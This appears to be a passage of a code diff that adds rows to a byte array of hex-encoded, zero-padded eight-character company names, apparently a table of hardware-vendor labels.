+0x4d, 0x6f, 0x6f, 0x68, 0x61, 0x64, 0x69, 0x67, +0x4d, 0x68, 0x41, 0x63, 0x6f, 0x75, 0x73, 0x74, +0x4d, 0x75, 0x73, 0x63, 0x6c, 0x65, 0x00, 0x00, +0x41, 0x76, 0x69, 0x64, 0x79, 0x6e, 0x65, 0x00, +0x53, 0x61, 0x6b, 0x61, 0x54, 0x65, 0x63, 0x68, +0x4d, 0x69, 0x74, 0x72, 0x6f, 0x6e, 0x50, 0x74, +0x49, 0x6e, 0x74, 0x65, 0x6c, 0x47, 0x65, 0x00, +0x48, 0x61, 0x72, 0x64, 0x79, 0x49, 0x6e, 0x73, +0x4b, 0x72, 0x6f, 0x68, 0x6e, 0x65, 0x00, 0x00, +0x43, 0x6f, 0x76, 0x6f, 0x74, 0x65, 0x00, 0x00, +0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x2d, 0x54, +0x43, 0x61, 0x72, 0x65, 0x73, 0x74, 0x72, 0x65, +0x47, 0x72, 0x69, 0x64, 0x43, 0x6f, 0x6e, 0x6e, +0x54, 0x63, 0x6d, 0x4d, 0x6f, 0x62, 0x69, 0x6c, +0x53, 0x70, 0x69, 0x6e, 0x65, 0x74, 0x69, 0x78, +0x42, 0x61, 0x62, 0x63, 0x6f, 0x63, 0x6b, 0x57, +0x44, 0x65, 0x66, 0x7a, 0x6f, 0x6e, 0x65, 0x42, +0x53, 0x26, 0x4f, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x53, 0x75, 0x6e, 0x6e, 0x69, 0x63, 0x54, 0x65, +0x5a, 0x61, 0x6e, 0x74, 0x61, 0x7a, 0x00, 0x00, +0x4b, 0x72, 0x61, 0x6d, 0x65, 0x72, 0x45, 0x6c, +0x43, 0x61, 0x65, 0x74, 0x65, 0x63, 0x4d, 0x65, +0x43, 0x71, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x69, 0x74, 0x72, 0x61, 0x45, 0x6e, 0x65, +0x54, 0x65, 0x63, 0x76, 0x61, 0x6e, 0x49, 0x6e, +0x54, 0x6f, 0x6d, 0x43, 0x6f, 0x6d, 0x6d, 0x75, +0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x44, +0x43, 0x6f, 0x6d, 0x69, 0x6e, 0x67, 0x4d, 0x65, +0x4f, 0x76, 0x65, 0x72, 0x73, 0x70, 0x65, 0x65, +0x42, 0x69, 0x6a, 0x00, 0x00, 0x00, 0x00, 0x00, +0x49, 0x6e, 0x70, 0x68, 0x61, 0x73, 0x65, 0x54, +0x4d, 0x69, 0x65, 0x6c, 0x65, 0x43, 0x69, 0x65, +0x41, 0x64, 0x61, 0x6d, 0x43, 0x6f, 0x6d, 0x6d, +0x41, 0x6d, 0x65, 0x63, 0x00, 0x00, 0x00, 0x00, +0x4b, 0x6e, 0x6f, 0x72, 0x72, 0x2d, 0x42, 0x72, +0x43, 0x6c, 0x61, 0x72, 0x69, 0x70, 0x68, 0x79, +0x43, 0x6f, 0x6e, 0x66, 0x69, 0x64, 0x61, 0x6e, +0x43, 0x68, 0x61, 0x69, 0x6e, 0x7a, 0x6f, 0x6e, +0x54, 0x69, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x43, +0x52, 0x61, 0x64, 0x69, 0x6f, 0x73, 0x63, 0x61, +0x45, 0x79, 0x65, 0x68, 0x65, 0x69, 0x67, 0x68, +0x4e, 0x73, 0x67, 0x61, 0x74, 0x65, 0x00, 0x00, +0x49, 0x6e, 0x76, 0x65, 0x6e, 0x67, 0x6f, 0x49, +0x53, 0x69, 0x67, 0x6e, 0x61, 0x6d, 0x61, 0x78, +0x57, 0x69, 0x64, 0x65, 0x62, 0x61, 0x6e, 0x64, +0x49, 0x63, 0x65, 0x45, 0x6e, 0x65, 0x72, 0x67, +0x41, 0x62, 0x65, 0x45, 0x6c, 0x65, 0x74, 0x74, +0x54, 0x65, 0x6b, 0x72, 0x6f, 0x6e, 0x49, 0x6e, +0x45, 0x6d, 0x69, 0x74, 0x65, 0x63, 0x68, 0x00, +0x47, 0x61, 0x74, 0x65, 0x77, 0x61, 0x79, 0x00, +0x43, 0x61, 0x6c, 0x6c, 0x44, 0x69, 0x72, 0x65, +0x53, 0x68, 0x69, 0x6e, 0x77, 0x61, 0x49, 0x6e, +0x56, 0x69, 0x67, 0x74, 0x65, 0x63, 0x68, 0x4c, +0x43, 0x6c, 0x65, 0x61, 0x72, 0x77, 0x69, 0x72, +0x56, 0x61, 0x75, 0x6c, 0x74, 0x73, 0x74, 0x6f, +0x54, 0x65, 0x63, 0x68, 0x74, 0x72, 0x65, 0x78, +0x4c, 0x61, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x65, +0x52, 0x61, 0x79, 0x74, 0x65, 0x6b, 0x00, 0x00, +0x41, 0x6c, 0x65, 0x72, 0x65, 0x6f, 0x6e, 0x00, +0x50, 0x75, 0x72, 0x65, 0x77, 0x61, 0x76, 0x65, +0x45, 0x6d, 0x63, 0x6f, 0x46, 0x6c, 0x6f, 0x77, +0x44, 0x69, 0x67, 0x69, 0x74, 0x69, 0x7a, 0x65, +0x4d, 0x6f, 0x64, 0x61, 0x63, 0x6f, 0x6d, 0x00, +0x43, 0x6c, 0x69, 0x6d, 0x61, 0x78, 0x54, 0x65, +0x46, 0x6c, 0x61, 0x73, 0x68, 0x00, 0x00, 0x00, +0x41, 0x6c, 0x65, 0x72, 0x74, 0x75, 0x73, 0x54, +0x43, 0x79, 0x61, 0x6e, 0x4f, 0x70, 0x74, 0x69, +0x47, 0x6f, 0x64, 0x65, 0x78, 0x49, 0x6e, 0x74, +0x48, 0x6f, 0x6b, 0x75, 0x79, 0x6f, 0x41, 0x75, +0x41, 0x72, 0x74, 0x6a, 0x6f, 0x79, 0x49, 0x6e, +0x41, 0x78, 0x69, 0x6f, 0x6e, 0x54, 0x65, 0x63, +0x4d, 0x61, 0x74, 0x74, 0x52, 0x50, 0x54, 0x72, +0x48, 0x65, 0x6e, 0x67, 0x59, 0x75, 0x45, 0x6c, +0x53, 0x61, 0x62, 0x69, 0x6f, 0x73, 0x6f, 0x00, +0x4d, 0x65, 0x64, 0x69, 0x61, 0x4e, 0x75, 0x6d, +0x53, 0x65, 0x61, 0x6d, 0x6c, 0x65, 0x73, 0x73, +0x54, 0x61, 0x6b, 0x61, 0x68, 0x61, 0x74, 0x61, +0x43, 0x61, 0x73, 0x74, 0x6c, 0x65, 0x73, 0x54, +0x44, 0x72, 0x61, 0x79, 0x74, 0x65, 0x6b, 0x00, +0x53, 0x77, 0x69, 0x73, 0x73, 0x71, 0x75, 0x61, +0x47, 0x69, 0x67, 0x61, 0x6d, 0x6f, 0x6e, 0x4c, +0x53, 0x69, 0x6e, 0x6f, 0x74, 0x65, 0x63, 0x68, +0x43, 0x68, 0x61, 0x6e, 0x67, 0x54, 0x73, 0x65, +0x46, 0x75, 0x6a, 0x69, 0x61, 0x6e, 0x48, 0x65, +0x43, 0x72, 0x65, 0x73, 0x63, 0x65, 0x6e, 0x64, +0x48, 0x6f, 0x6b, 0x6b, 0x61, 0x69, 0x64, 0x6f, +0x4b, 0x75, 0x6d, 0x68, 0x6f, 0x45, 0x6e, 0x67, +0x42, 0x65, 0x73, 0x74, 0x63, 0x6f, 0x6d, 0x6d, +0x54, 0x65, 0x6e, 0x64, 0x72, 0x69, 0x6c, 0x4e, +0x49, 0x6e, 0x74, 0x6f, 0x74, 0x6f, 0x00, 0x00, +0x57, 0x65, 0x6c, 0x6c, 0x73, 0x70, 0x72, 0x69, +0x56, 0x65, 0x72, 0x73, 0x61, 0x6d, 0x65, 0x64, +0x52, 0x61, 0x64, 0x69, 0x69, 0x65, 0x6e, 0x74, +0x45, 0x6e, 0x70, 0x68, 0x61, 0x73, 0x65, 0x45, +0x41, 0x75, 0x64, 0x69, 0x6e, 0x61, 0x74, 0x65, +0x58, 0x6f, 0x72, 0x74, 0x65, 0x63, 0x4f, 0x79, +0x52, 0x69, 0x6b, 0x6f, 0x72, 0x54, 0x76, 0x00, +0x41, 0x69, 0x6f, 0x69, 0x00, 0x00, 0x00, 0x00, +0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x4a, +0x53, 0x6e, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4e, 0x61, 0x76, 0x69, 0x6f, 0x6e, 0x69, 0x63, +0x47, 0x61, 0x69, 0x6e, 0x73, 0x70, 0x61, 0x6e, +0x50, 0x61, 0x76, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x45, 0x78, 0x6e, 0x73, 0x44, 0x65, 0x76, 0x00, +0x41, 0x79, 0x6f, 0x6e, 0x43, 0x79, 0x62, 0x65, +0x41, 0x6c, 0x67, 0x6f, 0x6c, 0x69, 0x74, 0x68, +0x4d, 0x69, 0x6b, 0x72, 0x6f, 0x65, 0x6c, 0x65, +0x43, 0x2d, 0x42, 0x65, 0x6c, 0x00, 0x00, 0x00, +0x44, 0x61, 0x74, 0x48, 0x4b, 0x00, 0x00, 0x00, +0x53, 0x75, 0x6e, 0x69, 0x74, 0x65, 0x63, 0x45, +0x52, 0x61, 0x64, 0x69, 0x6f, 0x6e, 0x6f, 0x72, +0x49, 0x6e, 0x74, 0x75, 0x69, 0x63, 0x6f, 0x6d, +0x4d, 0x61, 0x72, 0x69, 0x6e, 0x65, 0x53, 0x6f, +0x4e, 0x69, 0x6b, 0x6b, 0x6f, 0x44, 0x65, 0x6e, +0x43, 0x6f, 0x6d, 0x6d, 0x74, 0x65, 0x73, 0x74, +0x44, 0x69, 0x6e, 0x65, 0x63, 0x49, 0x6e, 0x74, +0x4d, 0x61, 0x72, 0x75, 0x73, 0x79, 0x73, 0x00, +0x47, 0x72, 0x69, 0x64, 0x4e, 0x65, 0x74, 0x00, +0x4e, 0x65, 0x78, 0x74, 0x76, 0x69, 0x73, 0x69, +0x54, 0x72, 0x69, 0x6d, 0x6d, 0x00, 0x00, 0x00, +0x56, 0x69, 0x64, 0x69, 0x65, 0x6e, 0x74, 0x00, +0x49, 0x6e, 0x74, 0x65, 0x67, 0x6f, 0x00, 0x00, +0x4e, 0x65, 0x74, 0x66, 0x6c, 0x69, 0x78, 0x00, +0x53, 0x62, 0x73, 0x53, 0x63, 0x69, 0x65, 0x6e, +0x4d, 0x61, 0x67, 0x65, 0x6c, 0x6c, 0x61, 0x6e, +0x53, 0x75, 0x6e, 0x73, 0x68, 0x69, 0x6e, 0x65, +0x52, 0x53, 0x74, 0x61, 0x68, 0x6c, 0x53, 0x63, +0x57, 0x65, 0x62, 0x70, 0x72, 0x6f, 0x56, 0x69, +0x43, 0x79, 0x62, 0x69, 0x6f, 0x74, 0x72, 0x6f, +0x46, 0x75, 0x6a, 0x69, 0x61, 0x6e, 0x4c, 0x61, +0x4e, 0x65, 0x74, 0x63, 0x6c, 0x65, 0x75, 0x73, +0x4b, 0x73, 0x69, 0x63, 0x00, 0x00, 0x00, 0x00, +0x53, 0x68, 0x61, 0x6e, 0x74, 0x6f, 0x75, 0x49, +0x52, 0x65, 0x6e, 0x65, 0x73, 0x61, 0x73, 0x54, +0x53, 0x6f, 0x75, 0x67, 0x6f, 0x75, 0x4b, 0x65, +0x4c, 0x69, 0x63, 0x6f, 0x6d, 0x6d, 0x00, 0x00, +0x48, 0x61, 0x6e, 0x73, 0x6f, 0x6e, 0x52, 0x65, +0x58, 0x73, 0x65, 0x65, 0x64, 0x54, 0x65, 0x63, +0x57, 0x69, 0x62, 0x72, 0x61, 0x69, 0x6e, 0x00, +0x57, 0x69, 0x6e, 0x79, 0x54, 0x65, 0x63, 0x68, +0x43, 0x65, 0x6e, 0x74, 0x65, 0x63, 0x4e, 0x65, +0x5a, 0x65, 0x66, 0x61, 0x74, 0x65, 0x6b, 0x00, +0x53, 0x79, 0x62, 0x61, 0x54, 0x65, 0x63, 0x68, +0x53, 0x68, 0x65, 0x72, 0x77, 0x6f, 0x6f, 0x64, +0x4d, 0x69, 0x63, 0x72, 0x61, 0x6e, 0x00, 0x00, +0x4d, 0x61, 0x78, 0x69, 0x56, 0x69, 0x65, 0x77, +0x42, 0x72, 0x69, 0x6f, 0x74, 0x49, 0x6e, 0x74, +0x45, 0x6c, 0x65, 0x6c, 0x75, 0x78, 0x49, 0x6e, +0x45, 0x63, 0x6f, 0x6c, 0x61, 0x62, 0x00, 0x00, +0x42, 0x65, 0x65, 0x63, 0x68, 0x48, 0x69, 0x6c, +0x4b, 0x65, 0x79, 0x74, 0x72, 0x6f, 0x6e, 0x69, +0x53, 0x74, 0x6e, 0x42, 0x76, 0x00, 0x00, 0x00, +0x52, 0x61, 0x64, 0x69, 0x6f, 0x41, 0x63, 0x74, +0x47, 0x74, 0x72, 0x69, 0x00, 0x00, 0x00, 0x00, +0x42, 0x65, 0x73, 0x74, 0x53, 0x6f, 0x75, 0x72, +0x53, 0x77, 0x73, 0x41, 0x75, 0x73, 0x74, 0x72, +0x45, 0x61, 0x73, 0x74, 0x43, 0x6f, 0x61, 0x73, +0x49, 0x6e, 0x74, 0x65, 0x72, 0x74, 0x61, 0x69, +0x41, 0x72, 0x76, 0x6f, 0x6f, 0x49, 0x6d, 0x61, +0x49, 0x6e, 0x74, 0x65, 0x6b, 0x44, 0x69, 0x67, +0x44, 0x69, 0x67, 0x69, 0x66, 0x72, 0x69, 0x65, +0x53, 0x62, 0x6e, 0x54, 0x65, 0x63, 0x68, 0x00, +0x4c, 0x75, 0x6d, 0x65, 0x78, 0x69, 0x73, 0x00, +0x48, 0x79, 0x70, 0x65, 0x72, 0x74, 0x68, 0x65, +0x52, 0x61, 0x64, 0x69, 0x6f, 0x44, 0x65, 0x73, +0x43, 0x79, 0x76, 0x65, 0x72, 0x73, 0x65, 0x00, +0x53, 0x74, 0x69, 0x6d, 0x00, 0x00, 0x00, 0x00, +0x53, 0x69, 0x72, 0x74, 0x69, 0x53, 0x50, 0x41, +0x44, 0x69, 0x6d, 0x6f, 0x74, 0x6f, 0x50, 0x74, +0x53, 0x68, 0x69, 0x72, 0x65, 0x65, 0x6e, 0x00, +0x49, 0x6e, 0x66, 0x6f, 0x6d, 0x61, 0x72, 0x6b, +0x5a, 0x65, 0x6e, 0x73, 0x79, 0x73, 0x00, 0x00, +0x43, 0x72, 0x79, 0x70, 0x74, 0x6f, 0x6d, 0x65, +0x49, 0x70, 0x74, 0x65, 0x00, 0x00, 0x00, 0x00, +0x42, 0x6c, 0x75, 0x65, 0x63, 0x61, 0x72, 0x64, +0x43, 0x6f, 0x6d, 0x73, 0x79, 0x73, 0x43, 0x6f, +0x4c, 0x79, 0x6e, 0x67, 0x62, 0x6f, 0x78, 0x4d, +0x4b, 0x6d, 0x77, 0x00, 0x00, 0x00, 0x00, 0x00, +0x54, 0x72, 0x65, 0x6c, 0x6c, 0x69, 0x73, 0x77, +0x54, 0x65, 0x6c, 0x74, 0x6f, 0x6e, 0x69, 0x6b, +0x41, 0x69, 0x73, 0x69, 0x6e, 0x41, 0x77, 0x00, +0x53, 0x61, 0x6e, 0x74, 0x65, 0x63, 0x00, 0x00, +0x50, 0x74, 0x48, 0x61, 0x72, 0x69, 0x66, 0x66, +0x57, 0x69, 0x2d, 0x4c, 0x69, 0x6e, 0x6b, 0x73, +0x43, 0x69, 0x74, 0x79, 0x54, 0x68, 0x65, 0x61, +0x57, 0x65, 0x6c, 0x6b, 0x69, 0x6e, 0x53, 0x63, +0x44, 0x61, 0x6b, 0x6f, 0x45, 0x64, 0x76, 0x2d, +0x42, 0x61, 0x74, 0x74, 0x69, 0x73, 0x74, 0x6f, +0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x74, 0x65, +0x46, 0x75, 0x72, 0x74, 0x68, 0x65, 0x72, 0x54, +0x54, 0x6f, 0x79, 0x6f, 0x45, 0x6c, 0x65, 0x63, +0x43, 0x6f, 0x77, 0x6f, 0x6e, 0x00, 0x00, 0x00, +0x42, 0x61, 0x6c, 0x6c, 0x79, 0x57, 0x75, 0x6c, +0x41, 0x6c, 0x63, 0x6f, 0x6d, 0x61, 0x53, 0x70, +0x53, 0x69, 0x6c, 0x69, 0x63, 0x6f, 0x6e, 0x54, +0x55, 0x6e, 0x69, 0x74, 0x72, 0x6f, 0x6e, 0x00, +0x52, 0x62, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, +0x48, 0x6f, 0x6c, 0x6f, 0x73, 0x79, 0x73, 0x44, +0x43, 0x6f, 0x6d, 0x70, 0x75, 0x74, 0x69, 0x6d, +0x4b, 0x77, 0x69, 0x6b, 0x62, 0x79, 0x74, 0x65, +0x49, 0x74, 0x65, 0x63, 0x00, 0x00, 0x00, 0x00, +0x53, 0x69, 0x65, 0x6d, 0x6f, 0x6e, 0x00, 0x00, +0x56, 0x69, 0x62, 0x72, 0x6f, 0x2d, 0x4d, 0x65, +0x52, 0x65, 0x73, 0x6f, 0x6c, 0x45, 0x6c, 0x65, +0x4f, 0x70, 0x61, 0x71, 0x75, 0x65, 0x00, 0x00, +0x49, 0x74, 0x52, 0x26, 0x44, 0x43, 0x65, 0x6e, +0x4d, 0x61, 0x67, 0x6e, 0x61, 0x2d, 0x50, 0x6f, +0x43, 0x6f, 0x62, 0x68, 0x61, 0x6d, 0x44, 0x65, +0x4d, 0x69, 0x72, 0x63, 0x6f, 0x6d, 0x47, 0x72, +0x50, 0x63, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, +0x54, 0x68, 0x65, 0x72, 0x6d, 0x6f, 0x46, 0x69, +0x41, 0x69, 0x72, 0x32, 0x61, 0x70, 0x70, 0x00, +0x4f, 0x77, 0x69, 0x74, 0x65, 0x6b, 0x54, 0x65, +0x52, 0x49, 0x53, 0x52, 0x4c, 0x00, 0x00, 0x00, +0x54, 0x61, 0x69, 0x77, 0x69, 0x63, 0x6b, 0x00, +0x43, 0x62, 0x6d, 0x4f, 0x66, 0x41, 0x6d, 0x65, +0x4c, 0x61, 0x73, 0x74, 0x4d, 0x69, 0x6c, 0x65, +0x43, 0x6e, 0x62, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x4c, 0x61, 0x6e, 0x2f, 0x4d, 0x61, 0x6e, 0x53, +0x50, 0x69, 0x6b, 0x61, 0x54, 0x65, 0x63, 0x68, +0x4c, 0x61, 0x67, 0x6f, 0x74, 0x65, 0x6b, 0x00, +0x4d, 0x65, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, +0x52, 0x65, 0x61, 0x6c, 0x65, 0x61, 0x73, 0x65, +0x41, 0x6e, 0x64, 0x6f, 0x72, 0x53, 0x79, 0x73, +0x43, 0x72, 0x66, 0x73, 0x00, 0x00, 0x00, 0x00, +0x45, 0x63, 0x6f, 0x70, 0x79, 0x00, 0x00, 0x00, +0x49, 0x6e, 0x66, 0x72, 0x61, 0x41, 0x63, 0x63, +0x48, 0x75, 0x6e, 0x6b, 0x65, 0x6c, 0x65, 0x72, +0x4b, 0x69, 0x6d, 0x69, 0x6e, 0x45, 0x6c, 0x65, +0x4a, 0x65, 0x75, 0x6c, 0x69, 0x6e, 0x53, 0x41, +0x43, 0x69, 0x72, 0x69, 0x74, 0x65, 0x63, 0x68, +0x53, 0x75, 0x70, 0x65, 0x72, 0x63, 0x6f, 0x6d, +0x53, 0x69, 0x67, 0x6d, 0x61, 0x6c, 0x69, 0x6e, +0x53, 0x65, 0x70, 0x75, 0x72, 0x61, 0x00, 0x00, +0x4d, 0x65, 0x64, 0x69, 0x75, 0x6d, 0x4c, 0x69, +0x47, 0x72, 0x65, 0x65, 0x6e, 0x6c, 0x69, 0x6e, +0x56, 0x61, 0x6e, 0x74, 0x61, 0x6e, 0x6f, 0x6c, +0x48, 0x61, 0x6d, 0x69, 0x6c, 0x74, 0x6f, 0x6e, +0x53, 0x61, 0x6e, 0x2d, 0x45, 0x69, 0x73, 0x68, +0x46, 0x69, 0x64, 0x75, 0x73, 0x74, 0x72, 0x6f, +0x52, 0x65, 0x63, 0x61, 0x6c, 0x6c, 0x54, 0x65, +0x44, 0x64, 0x6d, 0x48, 0x6f, 0x70, 0x74, 0x2b, +0x58, 0x6c, 0x6e, 0x2d, 0x54, 0x00, 0x00, 0x00, +0x42, 0x72, 0x75, 0x6e, 0x61, 0x74, 0x61, 0x00, +0x53, 0x79, 0x6d, 0x78, 0x00, 0x00, 0x00, 0x00, +0x52, 0x6f, 0x62, 0x6f, 0x74, 0x6f, 0x75, 0x73, +0x42, 0x65, 0x73, 0x74, 0x49, 0x74, 0x57, 0x6f, +0x44, 0x61, 0x74, 0x61, 0x6e, 0x67, 0x4d, 0x6f, +0x45, 0x2d, 0x53, 0x65, 0x6e, 0x7a, 0x61, 0x54, +0x54, 0x65, 0x6c, 0x65, 0x77, 0x65, 0x6c, 0x6c, +0x41, 0x72, 0x6d, 0x61, 0x64, 0x65, 0x75, 0x73, +0x57, 0x69, 0x6e, 0x67, 0x74, 0x65, 0x63, 0x68, +0x43, 0x6f, 0x6e, 0x74, 0x69, 0x6e, 0x65, 0x6e, +0x4f, 0x70, 0x68, 0x69, 0x72, 0x4f, 0x70, 0x74, +0x49, 0x6d, 0x65, 0x73, 0x64, 0x45, 0x6c, 0x65, +0x43, 0x72, 0x79, 0x70, 0x74, 0x73, 0x6f, 0x66, +0x50, 0x72, 0x69, 0x6d, 0x65, 0x78, 0x57, 0x69, +0x55, 0x6e, 0x69, 0x66, 0x61, 0x74, 0x54, 0x65, +0x45, 0x76, 0x65, 0x72, 0x53, 0x70, 0x61, 0x72, +0x54, 0x61, 0x67, 0x48, 0x65, 0x75, 0x65, 0x72, +0x54, 0x62, 0x74, 0x65, 0x63, 0x68, 0x00, 0x00, +0x46, 0x6f, 0x72, 0x74, 0x69, 0x73, 0x00, 0x00, +0x53, 0x69, 0x6e, 0x67, 0x46, 0x61, 0x69, 0x54, +0x48, 0x69, 0x67, 0x68, 0x44, 0x65, 0x6e, 0x73, +0x42, 0x6c, 0x75, 0x65, 0x6c, 0x69, 0x67, 0x68, +0x57, 0x69, 0x6e, 0x74, 0x65, 0x63, 0x68, 0x41, +0x48, 0x61, 0x61, 0x73, 0x41, 0x75, 0x74, 0x6f, +0x4b, 0x6f, 0x7a, 0x69, 0x6f, 0x00, 0x00, 0x00, +0x43, 0x65, 0x6c, 0x69, 0x6f, 0x00, 0x00, 0x00, +0x4d, 0x69, 0x64, 0x64, 0x6c, 0x65, 0x41, 0x74, +0x4f, 0x62, 0x76, 0x69, 0x75, 0x73, 0x48, 0x6f, +0x52, 0x61, 0x70, 0x69, 0x64, 0x4d, 0x6f, 0x62, +0x52, 0x70, 0x63, 0x45, 0x6e, 0x65, 0x72, 0x67, +0x43, 0x64, 0x76, 0x69, 0x00, 0x00, 0x00, 0x00, +0x4b, 0x79, 0x6c, 0x61, 0x6e, 0x64, 0x54, 0x65, +0x42, 0x69, 0x73, 0x61, 0x54, 0x65, 0x63, 0x68, +0x50, 0x68, 0x69, 0x6c, 0x69, 0x70, 0x73, 0x45, +0x49, 0x6e, 0x67, 0x65, 0x73, 0x70, 0x61, 0x63, +0x4b, 0x65, 0x79, 0x70, 0x72, 0x6f, 0x63, 0x65, +0x52, 0x61, 0x79, 0x53, 0x68, 0x69, 0x6e, 0x65, +0x44, 0x6f, 0x74, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x44, 0x6f, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x67, +0x54, 0x65, 0x6b, 0x6f, 0x6e, 0x2d, 0x41, 0x75, +0x41, 0x6c, 0x65, 0x6e, 0x74, 0x65, 0x63, 0x4f, +0x48, 0x2d, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, +0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x55, +0x57, 0x65, 0x73, 0x65, 0x6d, 0x61, 0x6e, 0x6e, +0x47, 0x69, 0x6b, 0x65, 0x6e, 0x54, 0x72, 0x61, +0x57, 0x61, 0x73, 0x6b, 0x6f, 0x53, 0x41, 0x00, +0x42, 0x79, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x61, 0x73, 0x74, 0x65, 0x72, 0x49, 0x6e, +0x55, 0x72, 0x6d, 0x65, 0x74, 0x44, 0x6f, 0x6d, +0x54, 0x26, 0x57, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x45, 0x70, 0x69, 0x63, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x79, 0x74, 0x65, 0x6b, 0x00, 0x00, 0x00, +0x53, 0x74, 0x6f, 0x6e, 0x65, 0x72, 0x69, 0x64, +0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x53, 0x77, +0x54, 0x61, 0x6c, 0x6b, 0x2d, 0x41, 0x2d, 0x50, +0x41, 0x64, 0x76, 0x65, 0x6e, 0x74, 0x69, 0x71, +0x45, 0x74, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, +0x43, 0x61, 0x6e, 0x74, 0x72, 0x6f, 0x6e, 0x69, +0x47, 0x69, 0x67, 0x61, 0x66, 0x69, 0x6e, 0x4e, +0x53, 0x65, 0x72, 0x76, 0x69, 0x6d, 0x61, 0x74, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x4d, 0x6f, 0x74, +0x46, 0x72, 0x6f, 0x6d, 0x32, 0x00, 0x00, 0x00, +0x48, 0x69, 0x74, 0x65, 0x6b, 0x41, 0x75, 0x74, +0x45, 0x6d, 0x66, 0x69, 0x6e, 0x69, 0x74, 0x79, +0x50, 0x61, 0x73, 0x63, 0x6f, 0x6d, 0x4b, 0x6f, +0x50, 0x72, 0x6f, 0x74, 0x65, 0x69, 0x00, 0x00, +0x54, 0x72, 0x69, 0x6f, 0x4d, 0x6f, 0x74, 0x69, +0x4a, 0x73, 0x63, 0x4d, 0x61, 0x73, 0x73, 0x61, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x62, 0x69, 0x74, +0x4c, 0x65, 0x76, 0x65, 0x6c, 0x53, 0x52, 0x4f, +0x4d, 0x75, 0x65, 0x6c, 0x6c, 0x65, 0x72, 0x2d, +0x50, 0x69, 0x78, 0x65, 0x6c, 0x6d, 0x65, 0x74, +0x4e, 0x75, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, +0x47, 0x72, 0x61, 0x6e, 0x63, 0x68, 0x00, 0x00, +0x49, 0x74, 0x61, 0x73, 0x54, 0x65, 0x63, 0x68, +0x41, 0x7a, 0x74, 0x65, 0x71, 0x4d, 0x6f, 0x62, +0x52, 0x69, 0x73, 0x63, 0x6f, 0x00, 0x00, 0x00, +0x4a, 0x61, 0x73, 0x74, 0x65, 0x63, 0x00, 0x00, +0x4c, 0x33, 0x43, 0x6f, 0x6d, 0x6d, 0x75, 0x6e, +0x4a, 0x61, 0x70, 0x61, 0x6e, 0x4b, 0x79, 0x61, +0x53, 0x65, 0x6c, 0x65, 0x63, 0x74, 0x45, 0x6e, +0x54, 0x6f, 0x6c, 0x65, 0x64, 0x6f, 0x44, 0x6f, +0x4f, 0x70, 0x65, 0x6e, 0x6d, 0x6f, 0x6b, 0x6f, +0x53, 0x41, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4e, 0x65, 0x78, 0x67, 0x00, 0x00, 0x00, 0x00, +0x42, 0x69, 0x6f, 0x73, 0x63, 0x72, 0x79, 0x70, +0x49, 0x64, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, +0x48, 0x61, 0x6b, 0x75, 0x73, 0x61, 0x6e, 0x4d, +0x42, 0x65, 0x6e, 0x2d, 0x52, 0x69, 0x45, 0x6c, +0x50, 0x72, 0x6f, 0x6d, 0x69, 0x6e, 0x76, 0x65, +0x52, 0x6f, 0x79, 0x61, 0x6c, 0x74, 0x65, 0x6b, +0x4b, 0x6f, 0x62, 0x69, 0x73, 0x68, 0x69, 0x45, +0x41, 0x74, 0x6c, 0x61, 0x73, 0x4d, 0x61, 0x74, +0x41, 0x73, 0x74, 0x65, 0x63, 0x54, 0x65, 0x63, +0x4c, 0x6f, 0x67, 0x69, 0x74, 0x65, 0x63, 0x68, +0x49, 0x6e, 0x6e, 0x65, 0x72, 0x4d, 0x6f, 0x6e, +0x49, 0x6e, 0x74, 0x65, 0x72, 0x61, 0x63, 0x6f, +0x44, 0x69, 0x67, 0x69, 0x74, 0x76, 0x69, 0x65, +0x4d, 0x62, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x63, 0x63, 0x6d, 0x00, 0x00, 0x00, 0x00, +0x4f, 0x72, 0x61, 0x6e, 0x67, 0x65, 0x4c, 0x6f, +0x53, 0x74, 0x61, 0x72, 0x62, 0x72, 0x69, 0x64, +0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, 0x6f, 0x2d, +0x54, 0x72, 0x69, 0x61, 0x6e, 0x67, 0x6c, 0x65, +0x42, 0x65, 0x72, 0x6b, 0x65, 0x72, 0x00, 0x00, +0x54, 0x72, 0x61, 0x76, 0x65, 0x6c, 0x70, 0x69, +0x4c, 0x75, 0x6e, 0x67, 0x48, 0x77, 0x61, 0x45, +0x41, 0x69, 0x72, 0x38, 0x30, 0x32, 0x4c, 0x6c, +0x42, 0x65, 0x6c, 0x6c, 0x77, 0x69, 0x6e, 0x49, +0x47, 0x65, 0x6e, 0x65, 0x73, 0x69, 0x73, 0x49, +0x43, 0x6f, 0x6e, 0x73, 0x74, 0x72, 0x75, 0x63, +0x51, 0x62, 0x69, 0x74, 0x00, 0x00, 0x00, 0x00, +0x52, 0x70, 0x2d, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x53, 0x70, 0x65, 0x61, 0x6b, 0x65, 0x72, 0x63, +0x45, 0x74, 0x68, 0x65, 0x72, 0x73, 